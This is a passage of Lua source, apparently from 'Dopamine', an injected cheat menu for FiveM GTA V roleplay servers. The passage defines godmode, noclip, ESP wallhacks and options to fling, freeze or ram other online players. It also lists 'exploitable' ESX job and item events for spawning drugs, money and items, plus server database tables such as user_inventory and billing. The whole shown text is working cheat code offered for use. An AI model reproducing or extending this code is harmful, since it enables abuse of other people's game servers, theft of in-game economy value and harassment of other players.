  1565. Dopamine.natives.setTextFont(4)
  1566. Dopamine.natives.setTextProportional(1)
  1567. Dopamine.natives.setTextColour(255, 255, 255, math.floor(opacity))
  1568. Dopamine.natives.beginTextCommandDisplayText('STRING')
  1569. SetTextCentre(1)
  1570. Dopamine.natives.addTextComponentSubstringPlayerName(text)
  1571. Dopamine.natives.endTextCommandDisplayText(x, y)
  1572.  
  1573. local factor = string.len(text) / 300
  1574.  
  1575. Dopamine.natives.drawRect(x, y + 0.0135, 0.0155 + factor, 0.03, 25, 25, 25, opacity)
  1576. Dopamine.natives.drawRect(x, y + 0.0125, 0.015 + factor, 0.03, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, opacity)
  1577. end
  1578.  
  1579. Dopamine.pushNotification = function(text, ms)
  1580. if text then
  1581. if not ms then ms = 5000 end
  1582. Dopamine.addNotification(text, ms)
  1583. end
  1584. end
  1585.  
  1586. Dopamine.pushNotification('Dopamine injected successfully', 5000)
  1587. Dopamine.pushNotification('d0pamine', 10000)
  1588.  
  1589. Dopamine.storedControls = {
  1590. --[[Self Opts]]
  1591. godmode = false,
  1592. semiGodmode = false,
  1593. infStamina = false,
  1594. neverWanted = false,
  1595. noClip = false,
  1596. invisible = false,
  1597. bInvisible = false,
  1598. noRagdoll = false,
  1599. superJump = false,
  1600. magnetoMode = false,
  1601. heatVision = false,
  1602. nightVision = false,
  1603. tinyPlayer = false,
  1604. bTinyPlayer = false,
  1605. flashmanSP = false,
  1606.  
  1607. --[[Vehicle Opts]]
  1608. vehGodmode = false,
  1609. veh2Step = false,
  1610. vehRainbowCol = false,
  1611. vehRainbowLights = false,
  1612. vehWallride = false,
  1613. vehSpawnUpgraded = false,
  1614. vehSpawnInside = true,
  1615. vehAlwaysWheelie = false,
  1616. vehDriftSmoke = false,
  1617. currentDisappearFromChase = 1,
  1618. selectedDisappearFromChase = 1,
  1619.  
  1620. --[[Weapon Opts]]
  1621. weapSpawnAsPickup = false,
  1622. weapExplosiveAmmo = false,
  1623. weapCustomBullet = false,
  1624. weaponsDamageMultiplier = {1.0, 2.0, 3.0, 5.0, 10.0, 25.0, 50.0, 250.0, 1000.0},
  1625. weaponsDamageMultiplierCurrent = 1,
  1626. weaponsDamageMultiplierSelected = 1,
  1627. weaponsDamageMultiplierSet = 1,
  1628. weaponsGiveAmmoCurrent = 1,
  1629. weaponsGiveAmmoSelected = 1,
  1630.  
  1631. --[[Visual Opts]]
  1632. visPlayerBlips = false,
  1633. visForceRadar = false,
  1634. visForceGamertags = false,
  1635. visForceThirdperson = false,
  1636. visESPEnable = false,
  1637. visESPShowID = false,
  1638. visESPShowName = false,
  1639. visESPShowDistance = false,
  1640. visESPShowWeapon = false,
  1641. visESPShowVehicle = false,
  1642. visDrawFPS = false,
  1643. visualsESPRefreshRate = 0,
  1644. visualsESPRefreshRates = {'0ms', '50ms', '150ms', '250ms', '500ms', '1s', '2s', '5s'},
  1645. visualsESPDistanceOps = {50.0, 100.0, 500.0, 1000.0, 2000.0, 5000.0},
  1646. visualsESPDistance = 500.0,
  1647. currentVisualsESPDistance = 1,
  1648. selectedVisualsESPDistance = 1,
  1649. currentESPRefreshIndex = 1,
  1650. selectedESPRefreshIndex = 1,
  1651.  
  1652. --[[Teleport Opts]]
  1653. teleShowCoords = false,
  1654. currentTeleportToOptions = 1,
  1655. selectedTeleportToOptions = 1,
  1656.  
  1657. --[[Single Player Opts]]
  1658. sPOIsSpectating = false,
  1659. sPOFlingPlayer = false,
  1660. sPOFlingedPlayer = nil,
  1661. spectatedPlayer = nil,
  1662. sPOShootAtOptionsCurrent = 1,
  1663. sPOShootAtOptionsSelected = 1,
  1664.  
  1665. --[[All Players Opts]]
  1666. aPOFlyingCars = false,
  1667. aPOFreeze = false,
  1668. aPODisableDrivingCars = false,
  1669. aPONoisyVehs = false,
  1670. }
  1671. Dopamine.menuTables = {
  1672. weaponsCustomBullet = {
  1673. current = 1,
  1674. selected = 1,
  1675. actual = 1,
  1676. words = {'RPG', 'Firework', 'Flare', 'Tracer Rocket', 'Tank Rocket'},
  1677. lists = {'WEAPON_RPG', 'WEAPON_FIREWORK', 'WEAPON_FLAREGUN', 'VEHICLE_WEAPON_PLAYER_LASER', 'VEHICLE_WEAPON_TANK'}
  1678. },
  1679. vehiclePerformanceTable = {
  1680. { name = 'Engine', id = 11 },
  1681. { name = 'Brakes', id = 12 },
  1682. { name = 'Transmission', id = 13 },
  1683. { name = 'Suspension', id = 15 },
  1684. { name = 'Armour', id = 16 }
  1685. },
  1686. serverKashactersSQL = {
  1687. current = 1,
  1688. selected = 1,
  1689. actual = 1,
  1690. words = {'User Inventory', 'Owned Vehicles', 'Bills', 'Shops', 'Characters', 'Vehicles'},
  1691. lists = {'user_inventory', 'owned_vehicles', 'billing', 'shops', 'characters', 'vehicles'}
  1692. },
  1693. trollsPropBlock = {
  1694. current = 1,
  1695. selected = 1,
  1696. words = {'Legion Square', 'MRPD', 'PDM'}
  1697. },
  1698. exploitableJobsTable = {
  1699. 'Unemployed',
  1700. 'Mechanic',
  1701. 'Police',
  1702. 'Ambulance',
  1703. 'Taxi',
  1704. 'Real Estate Agent',
  1705. 'Car Dealer',
  1706. 'Banker',
  1707. 'Gang',
  1708. 'Mafia',
  1709. },
  1710. customExploitableItems = {},
  1711. }
  1712.  
  1713. Dopamine.menuTables.exploitableJobsTable.Item = {
  1714. 'Butcher', 'Tailor', 'Miner', 'Fueler', 'Lumberjack', 'Fisher', 'Hunting', 'Weed', 'Meth', 'Coke', 'Opium'
  1715. }
  1716. Dopamine.menuTables.exploitableJobsTable.ItemDatabase = {
  1717. ['Butcher'] = oTable.new{ 'Alive Chicken', 'alive_chicken', 'Slaughtered Chicken', 'slaughtered_chicken', 'Packaged Chicken', 'packaged_chicken' },
  1718. ['Tailor'] = oTable.new{ 'Wool', 'wool', 'Fabric', 'fabric', 'Clothes', 'clothe' },
  1719. ['Fueler'] = oTable.new{ 'Petrol', 'petrol', 'Refined Petrol', 'petrol_raffin', 'Essence', 'essence' },
  1720. ['Miner'] = oTable.new{ 'Stone', 'stone', 'Washed Stone', 'washed_stone', 'Diamond', 'diamond' },
  1721. ['Lumberjack'] = oTable.new{ 'Wood', 'wood', 'Cutted Wood', 'cutted_wood', 'Packed Plank', 'packaged_plank' },
  1722. ['Fisher'] = oTable.new{ 'Fish', 'fish' },
  1723. ['Hunting'] = oTable.new{ 'Meat', 'meat'},
  1724. ['Coke'] = oTable.new{ 'Coke', 'coke', 'Coke Bag', 'coke_pooch' },
  1725. ['Weed'] = oTable.new{ 'Weed', 'weed', 'Weed Bag', 'weed_pooch' },
  1726. ['Meth'] = oTable.new{ 'Meth', 'meth', 'Meth Bag', 'meth_pooch' },
  1727. ['Opium'] = oTable.new{ 'Opium', 'opium', 'Opium Bag', 'opium_pooch' },
  1728. }
  1729. Dopamine.menuTables.exploitableJobsTable.ItemRequires = {
  1730. ['Fabric'] = 'Wool',
  1731. ['Clothes'] = 'Fabric',
  1732. ['Washed Stone'] = 'Stone',
  1733. ['Diamond'] = 'Washed Stone',
  1734. ['Coke Bag'] = 'coke',
  1735. ['Weed Bag'] = 'weed',
  1736. ['Meth Bag'] = 'meth',
  1737. ['Opium Bag'] = 'opium'
  1738. }
  1739. Dopamine.menuTables.exploitableJobsTable.Money = {
  1740. 'Fuel Delivery',
  1741. 'Car Thief',
  1742. 'DMV School',
  1743. 'Dirty Job',
  1744. 'Pizza Boy',
  1745. 'Ranger Job',
  1746. 'Garbage Job',
  1747. 'Car Thief',
  1748. 'Trucker Job',
  1749. 'Postal Job',
  1750. 'Banker Job',
  1751. }
  1752. Dopamine.menuTables.exploitableJobsTable.Money.Value = {
  1753. 'esx_fueldelivery',
  1754. 'esx_carthief',
  1755. 'esx_dmvschool',
  1756. 'esx_godirtyjob',
  1757. 'esx_pizza',
  1758. 'esx_ranger',
  1759. 'esx_garbagejob',
  1760. 'esx_carthief',
  1761. 'esx_truckerjob',
  1762. 'esx_gopostaljob',
  1763. 'esx_banksecurity'
  1764. }
  1765.  
  1766. --[[
  1767. Add variables here for magic.
  1768. ]]
  1769.  
  1770. local be_aN2 = 'number'
  1771.  
  1772. Dopamine.keyBinds = {
  1773. currentKeybindMenu = {
  1774. label = 'Menu',
  1775. handle = 'TAB',
  1776. },
  1777. currentKeybindHealth = {
  1778. label = 'Re-fill Health',
  1779. handle = nil,
  1780. },
  1781. currentKeybindArmour = {
  1782. label = 'Re-fill Armour',
  1783. handle = nil,
  1784. },
  1785. currentKeybindNoclip = {
  1786. label = 'Toggle Noclip',
  1787. handle = nil,
  1788. },
  1789. currentKeybindMagneto = {
  1790. label = 'Toggle Magneto',
  1791. handle = nil,
  1792. },
  1793. }
  1794.  
  1795. local currentCustomCrosshair = 1
  1796. local selectedCustomCrosshair = 1
  1797. local _be_aN2 = be_aN2
  1798. local customCrosshairOpts = {
  1799. 'Off',
  1800. 'Default',
  1801. 'Custom'
  1802. }
  1803.  
  1804. Dopamine.menuTables.customExploitableItems.Item = {
  1805. 'Repair Kit', 'Bandage', 'Medkit', 'Bitcoin', 'Gold', 'Jewels', 'Drill', 'Lockpick'
  1806. }
  1807. Dopamine.menuTables.customExploitableItems.ItemDatabase = {
  1808. ['Repair Kit'] = oTable.new{ 'Repair Kit', 'fixkit' },
  1809. ['Bandage'] = oTable.new{ 'Bandage', 'bandage' },
  1810. ['Medkit'] = oTable.new{ 'Medkit', 'medikit' },
  1811. ['Bitcoin'] = oTable.new{ 'Bitcoin', 'bitcoin' },
  1812. ['Gold'] = oTable.new{ 'Gold', 'gold' },
  1813. ['Jewels'] = oTable.new{ 'Jewels', 'jewels' },
  1814. ['Drill'] = oTable.new{ 'Drill', 'drill' },
  1815. ['Lockpick'] = oTable.new{ 'Lockpick', 'lockpick' },
  1816. }
  1817. Dopamine.menuTables.customExploitableItems.ItemRequires = {
  1818. ['Repair Kit'] = 'fixkit',
  1819. ['Bandage'] = 'bandage',
  1820. ['Medkit'] = 'medikit',
  1821. ['Bitcoin'] = 'bitcoin',
  1822. ['Gold'] = 'gold',
  1823. ['Jewels'] = 'jewels',
  1824. ['Drill'] = 'drill',
  1825. ['Lockpick'] = 'lockpick',
  1826. }
  1827. local currentESXJobPaycheck = 1
  1828. local selectedESXJobPaycheck = 1
  1829. local currentESXItemSpawn = 1
  1830. local selectedESXItemSpawn = 1
  1831. local currentESXHarvestItem = 1
  1832. local selectedESXHarvestItem = 1
  1833. local currentESXCustomItemSpawn = 1
  1834. local selectedESXCustomItemSpawn = 1
  1835.  
  1836. local availableESXBossMenus = {'Police', 'Ambulance', 'Mechanic', 'Taxi', 'Cardealer', 'Gang', 'RealEstateAgent'}
  1837. local currentESXOpenBossMenu = 1
  1838. local selectedESXOpenBossMenu = 1
  1839.  
  1840. --[[
  1841. Menu settings.
  1842. ]]
  1843.  
  1844. local currentMenuX = 1
  1845. local selectedMenuX = 1
  1846. local currentMenuY = 4
  1847. local selectedMenuY = 4
  1848. local menuX = { 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.75 }
  1849. local menuY = { 0.025, 0.1, 0.2, 0.3, 0.425 }
  1850.  
  1851. local currentMenuOptionsCount = 4
  1852. local selectedMenuOptionsCount = 4
  1853. local menuOptionsCount = { 5, 10, 11, 12, 13, 14, 15, 20, 25 }
  1854.  
  1855. Dopamine.comboBoxes = {
  1856. [0] = {
  1857. _words = {'Option 1', 'Option 2'},
  1858. _current = 1,
  1859. _selected = 1,
  1860. },
  1861. [1] = {
  1862. _words = {'Lower', 'Raise'},
  1863. _current = 1,
  1864. _selected = 1,
  1865. },
  1866. [2] = {
  1867. _words = {'jester3', 'elegy', 'sultanrs', 'coquette3', 'monster', 'banshee2', 'specter', 'xa21'},
  1868. _current = 1,
  1869. _selected = 1,
  1870. },
  1871. [3] = {
  1872. _words = {'+1%', '+2%', '+4%', '+8%', '+16%', '+32%', '+64%', '+128%', '+256%', '+512%'},
  1873. _actual = {1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0, 128.0, 256.0, 512.0},
  1874. _current = 1,
  1875. _selected = 1,
  1876. },
  1877. [4] = {
  1878. _words = {'Gas Pump', 'Beach Fire', 'Gas Tank', 'UFO', 'Dildo', 'Toilet', 'Missile', 'Couch', 'Banana Party', 'Ramp'},
  1879. _actual = {
  1880. {'prop_gas_pump_1d', 'prop_gas_pump_1b', 'prop_gas_pump_old3', 'prop_gas_pump_1a'},
  1881. 'prop_beach_fire', 'prop_gas_tank_01a', 'p_spinning_anus_s', 'prop_cs_dildo_01', 'prop_ld_toilet_01', 'prop_ld_bomb_anim', 'prop_ld_farm_couch01',
  1882. {'p_crahsed_heli_s', 'prop_rock_4_big2', 'prop_beachflag_le'},
  1883. {'stt_prop_stunt_track_uturn', 'stt_prop_stunt_track_turnice', 'stt_prop_stunt_track_hill'}
  1884. },
  1885. _current = 1,
  1886. _selected = 1,
  1887. },
  1888. }
  1889.  
  1890. pCreateThread(function()
  1891. --[[themes]]
  1892. local currentThemeIndex = 3
  1893. local selectedThemeIndex = 3
  1894.  
  1895. local currentCheckboxIndex = 1
  1896. local selectedCheckboxIndex = 1
  1897.  
  1898. --[[selfOptions]]
  1899. local FastCB = {1.0, 1.09, 1.19, 1.29, 1.39, 1.49}
  1900. local FastCBWords = {'+0%', '+20%', '+40%', '+60%', '+80%', '+100%'}
  1901. local currentFastRunIndex = 1
  1902. local selectedFastRunIndex = 1
  1903. local currentFastSwimIndex = 1
  1904. local selectedFastSwimIndex = 1
  1905.  
  1906. --[[allPlayersOptions]]
  1907. local pedDensityX = {1.0, 0.8, 0.6, 0.4, 0.2, 0.1, 0.0}
  1908. local pedDensityXCurrent = 1
  1909. local pedDensityXSelectedf = 1
  1910. local pedDensityXWords = {'Default', '-20%', '-40%', '-60%', '-80%', '-100%'}
  1911. local pedDensityXSelected = 1
  1912.  
  1913. --[[selectedPlayerOptions]]
  1914. local sPORamVehicleCurrent = 1
  1915. local sPORamVehicleSelected = 1
  1916. local sPORamVehicleX = 'bus'
  1917. local sPORamVehicleWords = {'bus', 'monster', 'freight', 'bulldozer'}
  1918.  
  1919. --[[vehicleOptions]]
  1920. local vehiclesEnginePowerBoostCurrent = 1
  1921. local vehiclesEnginePowerBoostSelected = 1
  1922. local vehiclesEngineTorqueBoostCurrent = 1
  1923. local vehiclesEngineTorqueBoostSelected = 1
  1924.  
  1925. --[[weaponOptions]]
  1926. local weaponOptionsSelected = nil
  1927. local weaponOptionsSelectedWeapon = nil
  1928. local weaponOptionsSelectedMod = nil
  1929.  
  1930. Dopamine.createMenu('dopamine', 'Dopamine')
  1931. Dopamine.setSubTitle('dopamine', 'd0pamine - final source')
  1932. Dopamine.createSubMenu('selfOptions', 'dopamine', 'Self Options')
  1933. Dopamine.createSubMenu('onlinePlayersOptions', 'dopamine', 'Online Players')
  1934. Dopamine.createSubMenu('visualOptions', 'dopamine', 'Visual Options')
  1935. Dopamine.createSubMenu('teleportOptions', 'dopamine', 'Teleport Options')
  1936. Dopamine.createSubMenu('vehicleOptions', 'dopamine', 'Vehicle Options')
  1937. Dopamine.createSubMenu('weaponOptions', 'dopamine', 'Weapon Options')
  1938. Dopamine.createSubMenu('serverOptions', 'dopamine', 'Server Options')
  1939. Dopamine.createSubMenu('menuSettings', 'dopamine', 'Menu Options')
  1940.  
  1941. Dopamine.createSubMenu('selfSuperPowers', 'selfOptions', 'Super Powers')
  1942. Dopamine.createSubMenu('selfClothing', 'selfOptions', 'Clothing')
  1943.  
  1944. Dopamine.createSubMenu('allPlayersOptions', 'onlinePlayersOptions', 'All Online Players')
  1945. Dopamine.createSubMenu('allPlayersOptionsTriggers', 'allPlayersOptions', 'All Online Players Triggers')
  1946. Dopamine.createSubMenu('selectedPlayerOptions', 'onlinePlayersOptions', 'Selected Player Options')
  1947. Dopamine.createSubMenu('selectedPlayerOptionsTriggers', 'selectedPlayerOptions', 'Selected Player Trigger Options')
  1948. Dopamine.createSubMenu('selectedPlayerOptionsTroll', 'selectedPlayerOptions', 'Selected Player Troll Options')
  1949. Dopamine.createSubMenu('selectedPlayerOptionsWeapon', 'selectedPlayerOptions', 'Selected Player Weapon Options')
  1950.  
  1951. Dopamine.createSubMenu('visualOptionsESP', 'visualOptions', 'Visual ESP Options')
  1952.  
  1953. Dopamine.createSubMenu('savedVehiclesOptions', 'vehicleOptions', 'Saved Vehicles Options')
  1954. Dopamine.createSubMenu('selectedSavedVehicleOptions', 'savedVehiclesOptions', 'Slected Saved Vehicle Options')
  1955. Dopamine.createSubMenu('vehicleLosSantosCustoms', 'vehicleOptions', 'Los Santos Customs')
  1956. Dopamine.createSubMenu('vehicleLosSantosCustomsCosmetics', 'vehicleLosSantosCustoms', 'Los Santos Customs | Cosmetics')
  1957. Dopamine.createSubMenu('vehicleLosSantosCustomsPerformance', 'vehicleLosSantosCustoms', 'Los Santos Customs | Performance')
  1958.  
  1959. for i, actual_i in pairs(Dopamine.menuTables.vehiclePerformanceTable) do
  1960. Dopamine.createSubMenu('vehicleLosSantosCustomsPerformance'..actual_i.name, 'vehicleLosSantosCustomsPerformance', 'Los Santos Customs | '..actual_i.name)
  1961. end
  1962.  
  1963. Dopamine.createSubMenu('vehicleSpawnList', 'vehicleOptions', 'Vehicle Spawn Options')
  1964. Dopamine.createSubMenu('vehicleSpawnSelected', 'vehicleSpawnList', 'Select A Vehicle')
  1965. Dopamine.createSubMenu('vehicleSpawnSelectedOptions', 'vehicleSpawnSelected', 'Vehicle Spawn Selected')
  1966.  
  1967. Dopamine.createSubMenu('weaponOptionsModification', 'weaponOptions', 'Weapon Modification')
  1968. Dopamine.createSubMenu('weaponOptionsTypes', 'weaponOptions', 'Weapon Type Selection')
  1969. Dopamine.createSubMenu('weaponOptionsTypeSelection', 'weaponOptionsTypes', 'Weapon Selection')
  1970. Dopamine.createSubMenu('weaponsModOptions', 'weaponOptionsTypeSelection', 'Weapon Options')
  1971. Dopamine.createSubMenu('weaponsModSelect', 'weaponsModOptions', 'Weapon Mod Options')
  1972.  
  1973. Dopamine.createSubMenu('serverOptionsResources', 'serverOptions', 'Server Resources')
  1974. Dopamine.createSubMenu('serverOptionsResourcesSelected', 'serverOptionsResources', 'Selected Resource')
  1975. Dopamine.createSubMenu('serverOptionsResourcesSelectedCEvents', 'serverOptionsResourcesSelected', 'Selected Resource Client Events')
  1976. Dopamine.createSubMenu('serverOptionsResourcesSelectedSEvents', 'serverOptionsResourcesSelected', 'Selected Resource Server Events')
  1977. Dopamine.createSubMenu('serverOptionsTriggerEvents', 'serverOptions', 'Trigger Events')
  1978. Dopamine.createSubMenu('serverOptionsTriggerEventsESX', 'serverOptionsTriggerEvents', 'ESX Trigger Events')
  1979. Dopamine.createSubMenu('serverOptionsTriggerEventsVRP', 'serverOptionsTriggerEvents', 'vRP Trigger Events')
  1980. Dopamine.createSubMenu('serverOptionsTriggerEventsESXMoney', 'serverOptionsTriggerEventsESX', 'ESX Money Options')
  1981.  
  1982. Dopamine.createSubMenu('credits', 'menuSettings', 'Menu Credits')
  1983. Dopamine.createSubMenu('keybindSettings', 'menuSettings', 'Keybind Settings')
  1984.  
  1985. Dopamine.initTheme(1)
  1986.  
  1987. if Dopamine.functions.doesResourceExist('es_extended') then
  1988. Dopamine.datastore.ESX = exports['es_extended']:getSharedObject()
  1989. else
  1990. Dopamine.datastore.ESX = nil
  1991. end
  1992.  
  1993. local introInteger = 0
  1994. while Dopamine.shouldShowMenu do
  1995. Dopamine.datastore.pLocalPlayer.cVehicle = GetVehiclePedIsUsing(Dopamine.datastore.pLocalPlayer.pedId)
  1996. Dopamine.datastore.pLocalPlayer.pedId = PlayerPedId(-1)
  1997.  
  1998. if introInteger == 0 then
  1999. introScaleform = Dopamine.trashFunctions.initIntro('mp_big_message_freemode', '~r~d0pamine | Press TAB')
  2000. DrawScaleformMovieFullscreen(introScaleform, 80, 80, 80, 80, 0)
  2001. pCreateThread(function()
  2002. while Dopamine.shouldShowMenu do
  2003. pWait(5000)
  2004. introInteger = introInteger + 1
  2005. end
  2006. end)
  2007. end
  2008.  
  2009. if Dopamine.isMenuOpened('dopamine') then
  2010. if Dopamine.menuButton('Self Options', 'selfOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_deaths_icon', color = Dopamine.menuTabsColors.selfOptions}) then
  2011. elseif Dopamine.menuButton('Online Players', 'onlinePlayersOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_friends_icon', color = Dopamine.menuTabsColors.onlineOptions}) then
  2012. elseif Dopamine.menuButton('Visual Options', 'visualOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_bikers_icon', color = Dopamine.menuTabsColors.visualOptions}) then
  2013. elseif Dopamine.menuButton('Teleport Options', 'teleportOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_star_icon', color = Dopamine.menuTabsColors.teleportOptions}) then
  2014. elseif Dopamine.menuButton('Vehicle Options', 'vehicleOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_steeringwheel_icon', color = Dopamine.menuTabsColors.vehicleOptions}) then
  2015. elseif Dopamine.menuButton('Weapon Options', 'weaponOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_kd_icon', color = Dopamine.menuTabsColors.weaponOptions}) then
  2016. elseif Dopamine.menuButton('Server Options', 'serverOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_globe_icon', color = Dopamine.menuTabsColors.serverOptions}) then
  2017. elseif Dopamine.menuButton('Menu Options', 'menuSettings', '', {dict = 'mpleaderboard', text = 'leaderboard_position_icon', color = Dopamine.menuTabsColors.menuOptions}) then
  2018. end
  2019.  
  2020. Dopamine.runDrawMenu()
  2021. elseif Dopamine.isMenuOpened('selfOptions') then
  2022. if Dopamine.menuButton('Super Powers', 'selfSuperPowers') then
  2023. elseif Dopamine.menuButton('Clothing', 'selfClothing') then
  2024. elseif Dopamine.checkBox('Godmode', Dopamine.storedControls.godmode) then
  2025. Dopamine.storedControls.godmode = not Dopamine.storedControls.godmode
  2026. elseif Dopamine.checkBox('Semi Godmode', Dopamine.storedControls.semiGodmode) then
  2027. Dopamine.storedControls.semiGodmode = not Dopamine.storedControls.semiGodmode
  2028. elseif Dopamine.checkBox('Infinite Stamina', Dopamine.storedControls.infStamina) then
  2029. Dopamine.storedControls.infStamina = not Dopamine.storedControls.infStamina
  2030. elseif Dopamine.checkBox('Noclip', Dopamine.storedControls.noClip) then
  2031. Dopamine.functions.toggleNoclip()
  2032. elseif Dopamine.checkBox('No Ragdoll', Dopamine.storedControls.noRagdoll) then
  2033. Dopamine.storedControls.noRagdoll = not Dopamine.storedControls.noRagdoll
  2034. elseif Dopamine.checkBox('Never Wanted', Dopamine.storedControls.neverWanted) then
  2035. Dopamine.storedControls.neverWanted = not Dopamine.storedControls.neverWanted
  2036. elseif Dopamine.checkBox('Invisible', Dopamine.storedControls.invisible) then
  2037. Dopamine.storedControls.invisible = not Dopamine.storedControls.invisible
  2038. elseif Dopamine.button('Revive', 'Native') then
  2039. Dopamine.functions.nativeRevive()
  2040. elseif Dopamine.button('Suicide', 'Native') then
  2041. Dopamine.natives.setEntityHealth(Dopamine.datastore.pLocalPlayer.pedId, 0)
  2042. elseif Dopamine.button('Refill Health', 'Native') then
  2043. Dopamine.natives.setEntityHealth(Dopamine.datastore.pLocalPlayer.pedId, 200)
  2044. Dopamine.pushNotification('Health refilled', 5000)
  2045. elseif Dopamine.button('Refill Armour', 'Native') then
  2046. Dopamine.natives.setPedArmour(Dopamine.datastore.pLocalPlayer.pedId, 200)
  2047. Dopamine.pushNotification('Armour refilled', 5000)
  2048. elseif Dopamine.button('Refill Stamina', 'Native') then
  2049. ResetPlayerStamina(Dopamine.datastore.pLocalPlayer.pedId)
  2050. elseif Dopamine.comboBox('Disappear From Chase', {'In the sky', 'Legion Square', 'Vespucci Beach', 'Sandy Shores', 'Blaine County'}, Dopamine.storedControls.currentDisappearFromChase, Dopamine.storedControls.selectedDisappearFromChase,
  2051. function(currentIndex, selectedIndex)
  2052. Dopamine.storedControls.currentDisappearFromChase = currentIndex
  2053. Dopamine.storedControls.selectedDisappearFromChase = currentIndex
  2054. end) then
  2055. Dopamine.functions.disappearFromChase()
  2056. end
  2057.  
  2058. Dopamine.runDrawMenu()
  2059. elseif Dopamine.isMenuOpened('selfSuperPowers') then
  2060. if Dopamine.button('Kill Nearby Peds', 'Native') then
  2061. Dopamine.functions.killNearbyPeds()
  2062. elseif Dopamine.checkBox('Super Jump', Dopamine.storedControls.superJump) then
  2063. Dopamine.storedControls.superJump = not Dopamine.storedControls.superJump
  2064. elseif Dopamine.checkBox('Magneto', Dopamine.storedControls.magnetoMode) then
  2065. Dopamine.storedControls.magnetoMode = not Dopamine.storedControls.magnetoMode
  2066. Dopamine.functions.magnetoMode()
  2067. elseif Dopamine.checkBox('Heat Vision', Dopamine.storedControls.heatVision) then
  2068. Dopamine.storedControls.heatVision = not Dopamine.storedControls.heatVision
  2069. elseif Dopamine.checkBox('Night Vision', Dopamine.storedControls.nightVision) then
  2070. Dopamine.storedControls.nightVision = not Dopamine.storedControls.nightVision
  2071. elseif Dopamine.checkBox('Become Tiny', Dopamine.storedControls.tinyPlayer) then
  2072. Dopamine.storedControls.tinyPlayer = not Dopamine.storedControls.tinyPlayer
  2073. elseif Dopamine.checkBox('Become The Flash', Dopamine.storedControls.flashmanSP) then
  2074. Dopamine.storedControls.flashmanSP = not Dopamine.storedControls.flashmanSP
  2075. elseif Dopamine.comboBoxSlider('Fast Run', FastCBWords, currentFastRunIndex, selectedFastRunIndex,
  2076. function(currentIndex, selectedIndex)
  2077. currentFastRunIndex = currentIndex
  2078. selectedFastRunIndex = currentIndex
  2079. FastRunMultiplier = FastCB[currentIndex]
  2080. if not Dopamine.storedControls.flashmanSP then
  2081. SetRunSprintMultiplierForPlayer(PlayerId(), FastRunMultiplier)
  2082. end
  2083. end) then
  2084. elseif Dopamine.comboBoxSlider('Fast Swim', FastCBWords, currentFastSwimIndex, selectedFastSwimIndex,
  2085. function(currentIndex, selectedIndex)
  2086. currentFastSwimIndex = currentIndex
  2087. selectedFastSwimIndex = currentIndex
  2088. FastSwimMultiplier = FastCB[currentIndex]
  2089. SetSwimMultiplierForPlayer(PlayerId(), FastSwimMultiplier)
  2090. end) then
  2091. end
  2092.  
  2093. Dopamine.runDrawMenu()
  2094. elseif Dopamine.isMenuOpened('selfClothing') then
  2095. if Dopamine.button('Random Outfit', 'Native') then
  2096. Dopamine.functions.randomClothes(PlayerId())
  2097. elseif Dopamine.button('Nertigel\'s Outfit', 'Native') then
  2098. Dopamine.functions.resetAppearance()
  2099. Dopamine.functions.changeAppearance('HAIR', 32, 0)
  2100. Dopamine.functions.changeAppearance('HATS', 12, 0)
  2101. Dopamine.functions.changeAppearance('TORSO', 75, 0)
  2102. Dopamine.functions.changeAppearance('TORSO2', 20, 2)
  2103. Dopamine.functions.changeAppearance('LEGS', 20, 2)
  2104. Dopamine.functions.changeAppearance('HANDS', 0, 0)
  2105. Dopamine.functions.changeAppearance('GLASSES', 6, 2)
  2106. Dopamine.functions.changeAppearance('SHOES', 20, 3)
  2107. elseif Dopamine.button('Balla', 'Native') then
  2108. Dopamine.functions.resetAppearance()
  2109. Dopamine.functions.changeAppearance('HATS', 10, 7)
  2110. Dopamine.functions.changeAppearance('GLASSES', 17, 6)
  2111. Dopamine.functions.changeAppearance('MASK', 51, 6)
  2112. Dopamine.functions.changeAppearance('TORSO', 14, 0)
  2113. Dopamine.functions.changeAppearance('LEGS', 5, 9)
  2114. Dopamine.functions.changeAppearance('SHOES', 9, 5)
  2115. Dopamine.functions.changeAppearance('SPECIAL2', 23, 0)
  2116. Dopamine.functions.changeAppearance('TORSO2', 7, 9)
  2117. elseif Dopamine.button('SWAT', 'Native') then
  2118. Dopamine.functions.resetAppearance()
  2119. Dopamine.functions.changeAppearance('TORSO', 17, 0)
  2120. Dopamine.functions.changeAppearance('MASK', 56, 1)
  2121. Dopamine.functions.changeAppearance('HATS', 40, 0)
  2122. Dopamine.functions.changeAppearance('HAIR', 0, 0)
  2123. Dopamine.functions.changeAppearance('TORSO', 19, 0)
  2124. Dopamine.functions.changeAppearance('GLASSES', 0, 1)
  2125. Dopamine.functions.changeAppearance('LEGS', 34, 0)
  2126. Dopamine.functions.changeAppearance('SHOES', 25, 0)
  2127. Dopamine.functions.changeAppearance('SPECIAL', 0, 0)
  2128. Dopamine.functions.changeAppearance('SPECIAL2', 58, 0)
  2129. Dopamine.functions.changeAppearance('SPECIAL3', 4, 1)
  2130. Dopamine.functions.changeAppearance('TORSO2', 55, 0)
  2131. Dopamine.functions.changeAppearance('HANDS', 0, 0)
  2132. elseif Dopamine.button('Ghost', 'Native') then
  2133. Dopamine.functions.resetAppearance()
  2134. Dopamine.functions.changeAppearance('TORSO', 17, 0)
  2135. Dopamine.functions.changeAppearance('MASK', 29, 0)
  2136. Dopamine.functions.changeAppearance('HATS', 28, 0)
  2137. Dopamine.functions.changeAppearance('HAIR', 0, 0)
  2138. Dopamine.functions.changeAppearance('GLASSES', 0, 1)
  2139. Dopamine.functions.changeAppearance('LEGS', 31, 0)
  2140. Dopamine.functions.changeAppearance('SHOES', 24, 0)
  2141. Dopamine.functions.changeAppearance('SPECIAL', 30, 2)
  2142. Dopamine.functions.changeAppearance('SPECIAL2', 15, 0)
  2143. Dopamine.functions.changeAppearance('TORSO2', 50, 0)
  2144. Dopamine.functions.changeAppearance('HANDS', 0, 0)
  2145. elseif Dopamine.button('Elf', 'Native') then
  2146. Dopamine.functions.resetAppearance()
  2147. Dopamine.functions.changeAppearance('MASK', 34, 0)
  2148. Dopamine.functions.changeAppearance('TORSO', 4, 0)
